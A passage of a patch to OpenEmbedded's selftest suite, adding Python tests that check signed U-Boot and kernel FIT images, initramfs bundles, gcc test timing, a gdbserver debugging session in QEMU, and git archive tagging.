+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart U-Boot comment'"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of the U-Boot recipe
+ bitbake("virtual/bootloader")
+
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ # Check that the type, load address, entrypoint address and default
+ # values for kernel and ramdisk in Image Tree Source are as expected.
+ # The order of fields in the below array is important. Not all the
+ # fields are tested, only the key fields that wont vary between
+ # different architectures.
+ its_field_check = [
+ 'description = "A model description";',
+ 'type = "standalone";',
+ 'load = <0x80080000>;',
+ 'entry = <0x80080000>;',
+ 'default = "conf";',
+ 'loadables = "uboot";',
+ 'fdt = "fdt";'
+ ]
+
+ with open(fitimage_its_path) as its_file:
+ field_index = 0
+ for line in its_file:
+ if field_index == len(its_field_check):
+ break
+ if its_field_check[field_index] in line:
+ field_index +=1
+
+ if field_index != len(its_field_check): # if its equal, the test passed
+ self.assertTrue(field_index == len(its_field_check),
+ "Fields in Image Tree Source File %s did not match, error in finding %s"
+ % (fitimage_its_path, its_field_check[field_index]))
+
+
+ def test_sign_standalone_uboot_fit_image(self):
+ """
+ Summary: Check if U-Boot FIT image and Image Tree Source (its) are
+ created and signed correctly for the scenario where only
+ the U-Boot proper fitImage is being created and signed.
+ Expected: 1) U-Boot its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by SPL_SIGN_ENABLE (using keys generated
+ via UBOOT_FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present
+ 4) Examination of the do_uboot_assemble_fitimage
+ runfile/logfile indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN
+ and SPL_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com> based upon
+ work by Paul Eggleton <paul.eggleton@microsoft.com> and
+ Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# There's no U-boot deconfig with CONFIG_FIT_SIGNATURE yet, so we need at
+# least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+# The kernel-fitimage class is a dependency even if we're only
+# creating/signing the U-Boot fitImage
+KERNEL_CLASSES = " kernel-fitimage"
+INHERIT += "test-mkimage-wrapper"
+# Enable creation and signing of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+SPL_SIGN_ENABLE = "1"
+SPL_SIGN_KEYNAME = "spl-oe-selftest"
+SPL_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+SPL_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+SPL_MKIMAGE_SIGN_ARGS = "-c 'a smart U-Boot comment'"
+UBOOT_EXTLINUX = "0"
+UBOOT_FIT_GENERATE_KEYS = "1"
+UBOOT_FIT_HASH_ALG = "sha256"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of the U-Boot recipe
+ bitbake("virtual/bootloader")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'uboot'],
+ ['/', 'images', 'uboot', 'signature'],
+ ['/', 'images', 'fdt'],
+ ['/', 'images', 'fdt', 'signature'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"spl-oe-selftest"',
+ }
+
+ for itspath, values in sigs.items():
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Image')):
+ in_signed = re.search(r'\((.*)\)', line).groups()[0]
+ elif re.match(' \w', line):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('uboot', signed_sections)
+ self.assertIn('fdt', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ self.assertEqual(value, 'sha256,rsa2048:spl-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for SPL_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/bootloader | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart U-Boot comment" %s/run.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'SPL_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+ def test_sign_cascaded_uboot_fit_image(self):
+ """
+ Summary: Check if U-Boot FIT image and Image Tree Source (its) are
+ created and signed correctly for the scenario where both
+ U-Boot proper and Kernel fitImages are being created and
+ signed.
+ Expected: 1) U-Boot its and FIT image are built successfully
+ 2) Scanning the its file indicates signing is enabled
+ as requested by SPL_SIGN_ENABLE (using keys generated
+ via UBOOT_FIT_GENERATE_KEYS)
+ 3) Dumping the FIT image indicates signature values
+ are present
+ 4) Examination of the do_uboot_assemble_fitimage
+ runfile/logfile indicate that UBOOT_MKIMAGE, UBOOT_MKIMAGE_SIGN
+ and SPL_MKIMAGE_SIGN_ARGS are working as expected.
+ Product: oe-core
+ Author: Klaus Heinrich Kiwi <klaus@linux.vnet.ibm.com> based upon
+ work by Paul Eggleton <paul.eggleton@microsoft.com> and
+ Usama Arif <usama.arif@arm.com>
+ """
+ config = """
+# There's no U-boot deconfig with CONFIG_FIT_SIGNATURE yet, so we need at
+# least CONFIG_SPL_LOAD_FIT and CONFIG_SPL_OF_CONTROL set
+MACHINE = "qemuarm"
+UBOOT_MACHINE = "am57xx_evm_defconfig"
+SPL_BINARY = "MLO"
+# Enable creation and signing of the U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE = "1"
+SPL_SIGN_ENABLE = "1"
+SPL_SIGN_KEYNAME = "spl-cascaded-oe-selftest"
+SPL_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+UBOOT_MKIMAGE_SIGN_ARGS = "-c 'a smart cascaded Kernel comment'"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+SPL_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+SPL_MKIMAGE_SIGN_ARGS = "-c 'a smart cascaded U-Boot comment'"
+UBOOT_EXTLINUX = "0"
+UBOOT_FIT_GENERATE_KEYS = "1"
+UBOOT_FIT_HASH_ALG = "sha256"
+KERNEL_IMAGETYPES += " fitImage "
+KERNEL_CLASSES = " kernel-fitimage "
+INHERIT += "test-mkimage-wrapper"
+UBOOT_SIGN_ENABLE = "1"
+FIT_GENERATE_KEYS = "1"
+UBOOT_SIGN_KEYDIR = "${TOPDIR}/signing-keys"
+UBOOT_SIGN_IMG_KEYNAME = "img-oe-selftest"
+UBOOT_SIGN_KEYNAME = "cfg-oe-selftest"
+FIT_SIGN_INDIVIDUAL = "1"
+"""
+ self.write_config(config)
+
+ # The U-Boot fitImage is created as part of the U-Boot recipe
+ bitbake("virtual/bootloader")
+
+ image_type = "core-image-minimal"
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "u-boot-its-%s" % (machine,))
+ fitimage_path = os.path.join(deploy_dir_image,
+ "u-boot-fitImage-%s" % (machine,))
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ req_itspaths = [
+ ['/', 'images', 'uboot'],
+ ['/', 'images', 'uboot', 'signature'],
+ ['/', 'images', 'fdt'],
+ ['/', 'images', 'fdt', 'signature'],
+ ]
+
+ itspath = []
+ itspaths = []
+ linect = 0
+ sigs = {}
+ with open(fitimage_its_path) as its_file:
+ linect += 1
+ for line in its_file:
+ line = line.strip()
+ if line.endswith('};'):
+ itspath.pop()
+ elif line.endswith('{'):
+ itspath.append(line[:-1].strip())
+ itspaths.append(itspath[:])
+ elif itspath and itspath[-1] == 'signature':
+ itsdotpath = '.'.join(itspath)
+ if not itsdotpath in sigs:
+ sigs[itsdotpath] = {}
+ if not '=' in line or not line.endswith(';'):
+ self.fail('Unexpected formatting in %s sigs section line %d:%s' % (fitimage_its_path, linect, line))
+ key, value = line.split('=', 1)
+ sigs[itsdotpath][key.rstrip()] = value.lstrip().rstrip(';')
+
+ for reqpath in req_itspaths:
+ if not reqpath in itspaths:
+ self.fail('Missing section in its file: %s' % reqpath)
+
+ reqsigvalues_image = {
+ 'algo': '"sha256,rsa2048"',
+ 'key-name-hint': '"spl-cascaded-oe-selftest"',
+ }
+
+ for itspath, values in sigs.items():
+ reqsigvalues = reqsigvalues_image
+ for reqkey, reqvalue in reqsigvalues.items():
+ value = values.get(reqkey, None)
+ if value is None:
+ self.fail('Missing key "%s" in its file signature section %s' % (reqkey, itspath))
+ self.assertEqual(value, reqvalue)
+
+ # Dump the image to see if it really got signed
+ bitbake("u-boot-tools-native -c addto_recipe_sysroot")
+ result = runCmd('bitbake -e u-boot-tools-native | grep ^RECIPE_SYSROOT_NATIVE=')
+ recipe_sysroot_native = result.output.split('=')[1].strip('"')
+ dumpimage_path = os.path.join(recipe_sysroot_native, 'usr', 'bin', 'dumpimage')
+ result = runCmd('%s -l %s' % (dumpimage_path, fitimage_path))
+ in_signed = None
+ signed_sections = {}
+ for line in result.output.splitlines():
+ if line.startswith((' Image')):
+ in_signed = re.search(r'\((.*)\)', line).groups()[0]
+ elif re.match(' \w', line):
+ in_signed = None
+ elif in_signed:
+ if not in_signed in signed_sections:
+ signed_sections[in_signed] = {}
+ key, value = line.split(':', 1)
+ signed_sections[in_signed][key.strip()] = value.strip()
+ self.assertIn('uboot', signed_sections)
+ self.assertIn('fdt', signed_sections)
+ for signed_section, values in signed_sections.items():
+ value = values.get('Sign algo', None)
+ self.assertEqual(value, 'sha256,rsa2048:spl-cascaded-oe-selftest', 'Signature algorithm for %s not expected value' % signed_section)
+ value = values.get('Sign value', None)
+ self.assertEqual(len(value), 512, 'Signature value for section %s not expected length' % signed_section)
+
+ # Check for SPL_MKIMAGE_SIGN_ARGS
+ result = runCmd('bitbake -e virtual/bootloader | grep ^T=')
+ tempdir = result.output.split('=', 1)[1].strip().strip('')
+ result = runCmd('grep "a smart cascaded U-Boot comment" %s/run.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'SPL_MKIMAGE_SIGN_ARGS value did not get used')
+
+ # Check for evidence of test-mkimage-wrapper class
+ result = runCmd('grep "### uboot-mkimage wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE did not work')
+ result = runCmd('grep "### uboot-mkimage signing wrapper message" %s/log.do_uboot_assemble_fitimage' % tempdir, ignore_status=True)
+ self.assertEqual(result.status, 0, 'UBOOT_MKIMAGE_SIGN did not work')
+
+
+
+ def test_initramfs_bundle(self):
+ """
+ Summary: Verifies the content of the initramfs bundle node in the FIT Image Tree Source (its)
+ The FIT settings are set by the test case.
+ The machine used is beaglebone-yocto.
+ Expected: 1. The ITS is generated with initramfs bundle support
+ 2. All the fields in the kernel node are as expected (matching the
+ conf settings)
+ 3. The kernel is included in all the available configurations and
+ its hash is included in the configuration signature
+
+ Product: oe-core
+ Author: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
+ """
+
+ config = """
+DISTRO="poky"
+MACHINE = "beaglebone-yocto"
+INITRAMFS_IMAGE_BUNDLE = "1"
+INITRAMFS_IMAGE = "core-image-minimal-initramfs"
+INITRAMFS_SCRIPTS = ""
+UBOOT_MACHINE = "am335x_evm_defconfig"
+KERNEL_CLASSES = " kernel-fitimage "
+KERNEL_IMAGETYPES = "fitImage"
+UBOOT_SIGN_ENABLE = "1"
+UBOOT_SIGN_KEYNAME = "beaglebonekey"
+UBOOT_SIGN_KEYDIR ?= "${DEPLOY_DIR_IMAGE}"
+UBOOT_DTB_BINARY = "u-boot.dtb"
+UBOOT_ENTRYPOINT = "0x80000000"
+UBOOT_LOADADDRESS = "0x80000000"
+UBOOT_DTB_LOADADDRESS = "0x82000000"
+UBOOT_ARCH = "arm"
+UBOOT_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+UBOOT_MKIMAGE_KERNEL_TYPE = "kernel"
+UBOOT_EXTLINUX = "0"
+FIT_GENERATE_KEYS = "1"
+KERNEL_IMAGETYPE_REPLACEMENT = "zImage"
+FIT_KERNEL_COMP_ALG = "none"
+FIT_HASH_ALG = "sha256"
+"""
+ self.write_config(config)
+
+ # fitImage is created as part of linux recipe
+ bitbake("virtual/kernel")
+
+ image_type = get_bb_var('INITRAMFS_IMAGE')
+ deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ machine = get_bb_var('MACHINE')
+ fitimage_its_path = os.path.join(deploy_dir_image,
+ "fitImage-its-%s-%s-%s" % (image_type, machine, machine))
+ fitimage_path = os.path.join(deploy_dir_image,"fitImage")
+
+ self.assertTrue(os.path.exists(fitimage_its_path),
+ "%s image tree source doesn't exist" % (fitimage_its_path))
+ self.assertTrue(os.path.exists(fitimage_path),
+ "%s FIT image doesn't exist" % (fitimage_path))
+
+ kernel_load = str(get_bb_var('UBOOT_LOADADDRESS'))
+ kernel_entry = str(get_bb_var('UBOOT_ENTRYPOINT'))
+ kernel_type = str(get_bb_var('UBOOT_MKIMAGE_KERNEL_TYPE'))
+ kernel_compression = str(get_bb_var('FIT_KERNEL_COMP_ALG'))
+ uboot_arch = str(get_bb_var('UBOOT_ARCH'))
+ fit_hash_alg = str(get_bb_var('FIT_HASH_ALG'))
+
+ its_file = open(fitimage_its_path)
+
+ its_lines = [line.strip() for line in its_file.readlines()]
+
+ exp_node_lines = [
+ 'kernel-1 {',
+ 'description = "Linux kernel";',
+ 'data = /incbin/("linux.bin");',
+ 'type = "' + kernel_type + '";',
+ 'arch = "' + uboot_arch + '";',
+ 'os = "linux";',
+ 'compression = "' + kernel_compression + '";',
+ 'load = <' + kernel_load + '>;',
+ 'entry = <' + kernel_entry + '>;',
+ 'hash-1 {',
+ 'algo = "' + fit_hash_alg +'";',
+ '};',
+ '};'
+ ]
+
+ node_str = exp_node_lines[0]
+
+ test_passed = False
+
+ print ("checking kernel node\n")
+
+ if node_str in its_lines:
+ node_start_idx = its_lines.index(node_str)
+ node = its_lines[node_start_idx:(node_start_idx + len(exp_node_lines))]
+ if node == exp_node_lines:
+ print("kernel node verified")
+ else:
+ self.assertTrue(test_passed == True,"kernel node does not match expectation")
+
+ rx_configs = re.compile("^conf-.*")
+ its_configs = list(filter(rx_configs.match, its_lines))
+
+ for cfg_str in its_configs:
+ cfg_start_idx = its_lines.index(cfg_str)
+ line_idx = cfg_start_idx + 2
+ node_end = False
+ while node_end == False:
+ if its_lines[line_idx] == "};" and its_lines[line_idx-1] == "};" :
+ node_end = True
+ line_idx = line_idx + 1
+
+ node = its_lines[cfg_start_idx:line_idx]
+ print("checking configuration " + cfg_str.rstrip(" {"))
+ rx_desc_line = re.compile("^description.*1 Linux kernel.*")
+ if len(list(filter(rx_desc_line.match, node))) != 1:
+ self.assertTrue(test_passed == True,"kernel keyword not found in the description line")
+ break
+ else:
+ print("kernel keyword found in the description line")
+
+ if 'kernel = "kernel-1";' not in node:
+ self.assertTrue(test_passed == True,"kernel line not found")
+ break
+ else:
+ print("kernel line found")
+
+ rx_sign_line = re.compile("^sign-images.*kernel.*")
+ if len(list(filter(rx_sign_line.match, node))) != 1:
+ self.assertTrue(test_passed == True,"kernel hash not signed")
+ break
+ else:
+ print("kernel hash signed")
+
+ test_passed = True
+ self.assertTrue(test_passed == True,"Initramfs bundle test success")
diff --git a/meta/lib/oeqa/selftest/cases/gcc.py b/meta/lib/oeqa/selftest/cases/gcc.py
index 3efe15228f..89360178fe 100644
--- a/meta/lib/oeqa/selftest/cases/gcc.py
+++ b/meta/lib/oeqa/selftest/cases/gcc.py
@@ -1,9 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
+#
import os
+import time
from oeqa.core.decorator import OETestTag
from oeqa.core.case import OEPTestResultTestCase
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import bitbake, get_bb_var, get_bb_vars, runqemu, Command
+from oeqa.utils.commands import bitbake, get_bb_var, get_bb_vars, runqemu
def parse_values(content):
for i in content:
@@ -39,8 +44,13 @@ class GccSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
self.write_config("\n".join(features))
recipe = "gcc-runtime"
+
+ start_time = time.time()
+
bitbake("{} -c check".format(recipe))
+ end_time = time.time()
+
bb_vars = get_bb_vars(["B", "TARGET_SYS"], recipe)
builddir, target_sys = bb_vars["B"], bb_vars["TARGET_SYS"]
@@ -54,7 +64,7 @@ class GccSelfTestBase(OESelftestTestCase, OEPTestResultTestCase):
ptestsuite = "gcc-{}".format(suite) if suite != "gcc" else suite
ptestsuite = ptestsuite + "-user" if ssh is None else ptestsuite
- self.ptest_section(ptestsuite, logfile = logpath)
+ self.ptest_section(ptestsuite, duration = int(end_time - start_time), logfile = logpath)
with open(sumspath, "r") as f:
for test, result in parse_values(f):
self.ptest_result(ptestsuite, test, result)
@@ -114,37 +124,44 @@ class GccLibItmSelfTest(GccSelfTestBase):
self.run_check("libitm")
@OETestTag("toolchain-system")
+@OETestTag("runqemu")
class GccCrossSelfTestSystemEmulated(GccSelfTestBase):
def test_cross_gcc(self):
self.run_check_emulated("gcc")
@OETestTag("toolchain-system")
+@OETestTag("runqemu")
class GxxCrossSelfTestSystemEmulated(GccSelfTestBase):
def test_cross_gxx(self):
self.run_check_emulated("g++")
@OETestTag("toolchain-system")
+@OETestTag("runqemu")
class GccLibAtomicSelfTestSystemEmulated(GccSelfTestBase):
def test_libatomic(self):
self.run_check_emulated("libatomic")
@OETestTag("toolchain-system")
+@OETestTag("runqemu")
class GccLibGompSelfTestSystemEmulated(GccSelfTestBase):
def test_libgomp(self):
self.run_check_emulated("libgomp")
@OETestTag("toolchain-system")
+@OETestTag("runqemu")
class GccLibStdCxxSelfTestSystemEmulated(GccSelfTestBase):
def test_libstdcxx(self):
self.run_check_emulated("libstdc++-v3")
@OETestTag("toolchain-system")
+@OETestTag("runqemu")
class GccLibSspSelfTestSystemEmulated(GccSelfTestBase):
def test_libssp(self):
self.check_skip("libssp")
self.run_check_emulated("libssp")
@OETestTag("toolchain-system")
+@OETestTag("runqemu")
class GccLibItmSelfTestSystemEmulated(GccSelfTestBase):
def test_libitm(self):
self.check_skip("libitm")
diff --git a/meta/lib/oeqa/selftest/cases/gdbserver.py b/meta/lib/oeqa/selftest/cases/gdbserver.py
new file mode 100644
index 0000000000..9da97ae780
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/gdbserver.py
@@ -0,0 +1,67 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+import os
+import time
+import tempfile
+import shutil
+import concurrent.futures
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake, get_bb_var, get_bb_vars , runqemu, runCmd
+
+class GdbServerTest(OESelftestTestCase):
+ def test_gdb_server(self):
+ target_arch = self.td["TARGET_ARCH"]
+ target_sys = self.td["TARGET_SYS"]
+
+ features = """
+IMAGE_GEN_DEBUGFS = "1"
+IMAGE_FSTYPES_DEBUGFS = "tar.bz2"
+CORE_IMAGE_EXTRA_INSTALL = "gdbserver"
+ """
+ self.write_config(features)
+
+ gdb_recipe = "gdb-cross-" + target_arch
+ gdb_binary = target_sys + "-gdb"
+
+ bitbake("core-image-minimal %s:do_addto_recipe_sysroot" % gdb_recipe)
+
+ native_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", gdb_recipe)
+ r = runCmd("%s --version" % gdb_binary, native_sysroot=native_sysroot, target_sys=target_sys)
+ self.assertEqual(r.status, 0)
+ self.assertIn("GNU gdb", r.output)
+ image = 'core-image-minimal'
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+
+ with tempfile.TemporaryDirectory(prefix="debugfs-") as debugfs:
+ filename = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s-dbg.tar.bz2" % bb_vars['IMAGE_LINK_NAME'])
+ shutil.unpack_archive(filename, debugfs)
+ filename = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "%s.tar.bz2" % bb_vars['IMAGE_LINK_NAME'])
+ shutil.unpack_archive(filename, debugfs)
+
+ with runqemu("core-image-minimal", runqemuparams="nographic") as qemu:
+ status, output = qemu.run_serial("kmod --help")
+ self.assertIn("modprobe", output)
+
+ with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor:
+ def run_gdb():
+ for _ in range(5):
+ time.sleep(2)
+ cmd = "%s --batch -ex 'set sysroot %s' -ex \"target extended-remote %s:9999\" -ex \"info line kmod_help\"" % (gdb_binary, debugfs, qemu.ip)
+ self.logger.warning("starting gdb %s" % cmd)
+ r = runCmd(cmd, native_sysroot=native_sysroot, target_sys=target_sys)
+ self.assertEqual(0, r.status)
+ line_re = r"Line \d+ of \"/usr/src/debug/kmod/.*/tools/kmod.c\" starts at address 0x[0-9A-Fa-f]+ <kmod_help>"
+ self.assertRegex(r.output, line_re)
+ break
+ else:
+ self.fail("Timed out connecting to gdb")
+ future = executor.submit(run_gdb)
+
+ status, output = qemu.run_serial("gdbserver --once :9999 kmod --help")
+ self.assertEqual(status, 1)
+ # The future either returns None, or raises an exception
+ future.result()
diff --git a/meta/lib/oeqa/selftest/cases/gitarchivetests.py b/meta/lib/oeqa/selftest/cases/gitarchivetests.py
new file mode 100644
index 0000000000..71382089c1
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/gitarchivetests.py
@@ -0,0 +1,136 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+import sys
+basepath = os.path.abspath(os.path.dirname(__file__) + '/../../../../../')
+lib_path = basepath + '/scripts/lib'
+sys.path = sys.path + [lib_path]
+import oeqa.utils.gitarchive as ga
+from oeqa.utils.git import GitError
+import tempfile
+import shutil
+import scriptutils
+import logging
+from oeqa.selftest.case import OESelftestTestCase
+
+logger = scriptutils.logger_create('resulttool')
+
+def create_fake_repository(commit, tag_list=[], add_remote=True):
+ """ Create a testing git directory
+
+ Initialize a simple git repository with one initial commit, and as many
+ tags on this commit as listed in tag_list
+ Returns both git directory path and gitarchive git object
+ If commit is true, fake data will be commited, otherwise it will stay in staging area
+ If commit is true and tag_lsit is non empty, all tags in tag_list will be
+ created on the initial commit
+ Fake remote will also be added to make git ls-remote work
+ """
+ fake_data_file = "fake_data.txt"
+ tempdir = tempfile.mkdtemp(prefix='fake_results.')
+ repo = ga.init_git_repo(tempdir, False, False, logger)
+ if add_remote:
+ repo.run_cmd(["remote", "add", "origin", "."])
+ with open(os.path.join(tempdir, fake_data_file), "w") as fake_data:
+ fake_data.write("Fake data")
+ if commit:
+ repo.run_cmd(["add", fake_data_file])
+ repo.run_cmd(["commit", "-m", "\"Add fake data\""])
+ for tag in tag_list:
+ repo.run_cmd(["tag", tag])
+
+ return tempdir, repo
+
+def delete_fake_repository(path):
+ shutil.rmtree(path)
+
+def tag_exists(git_obj, target_tag):
+ for tag in git_obj.run_cmd(["tag"]).splitlines():
+ if target_tag == tag:
+ return True
+ return False
+
+class GitArchiveTests(OESelftestTestCase):
+ TEST_BRANCH="main"
+ TEST_COMMIT="0f7d5df"
+ TEST_COMMIT_COUNT="42"
+
+ @classmethod
+ def setUpClass(cls):
+ super().setUpClass()
+ cls.log = logging.getLogger('gitarchivetests')
+ cls.log.setLevel(logging.DEBUG)
+
+ def test_create_first_test_tag(self):
+ path, git_obj = create_fake_repository(False)
+ keywords = {'commit': self.TEST_COMMIT, 'branch': self.TEST_BRANCH, "commit_count": self.TEST_COMMIT_COUNT}
+ target_tag = f"{self.TEST_BRANCH}/{self.TEST_COMMIT_COUNT}-g{self.TEST_COMMIT}/0"
+
+ ga.gitarchive(path, path, True, False,
+ "Results of {branch}:{commit}", "branch: {branch}\ncommit: {commit}", "{branch}",
+ False, "{branch}/{commit_count}-g{commit}/{tag_number}",
+ 'Test run #{tag_number} of {branch}:{commit}', '',
+ [], [], False, keywords, logger)
+ self.assertTrue(tag_exists(git_obj, target_tag), msg=f"Tag {target_tag} has not been created")
+ delete_fake_repository(path)
+
+ def test_create_second_test_tag(self):
+ first_tag = f"{self.TEST_BRANCH}/{self.TEST_COMMIT_COUNT}-g{self.TEST_COMMIT}/0"
+ second_tag = f"{self.TEST_BRANCH}/{self.TEST_COMMIT_COUNT}-g{self.TEST_COMMIT}/1"
+ keywords = {'commit': self.TEST_COMMIT, 'branch': self.TEST_BRANCH, "commit_count": self.TEST_COMMIT_COUNT}
+
+ path, git_obj = create_fake_repository(True, [first_tag])
+ ga.gitarchive(path, path, True, False,
+ "Results of {branch}:{commit}", "branch: {branch}\ncommit: {commit}", "{branch}",
+ False, "{branch}/{commit_count}-g{commit}/{tag_number}",
+ 'Test run #{tag_number} of {branch}:{commit}', '',
+ [], [], False, keywords, logger)
+ self.assertTrue(tag_exists(git_obj, second_tag), msg=f"Second tag {second_tag} has not been created")
+ delete_fake_repository(path)
+
+ def test_get_revs_on_branch(self):
+ fake_tags_list=["main/10-g0f7d5df/0", "main/10-g0f7d5df/1", "foo/20-g2468f5d/0"]
+ tag_name = "{branch}/{commit_number}-g{commit}/{tag_number}"
+
+ path, git_obj = create_fake_repository(True, fake_tags_list)
+ revs = ga.get_test_revs(logger, git_obj, tag_name, branch="main")
+ self.assertEqual(len(revs), 1)
+ self.assertEqual(revs[0].commit, "0f7d5df")
+ self.assertEqual(len(revs[0].tags), 2)
+ self.assertEqual(revs[0].tags, ['main/10-g0f7d5df/0', 'main/10-g0f7d5df/1'])
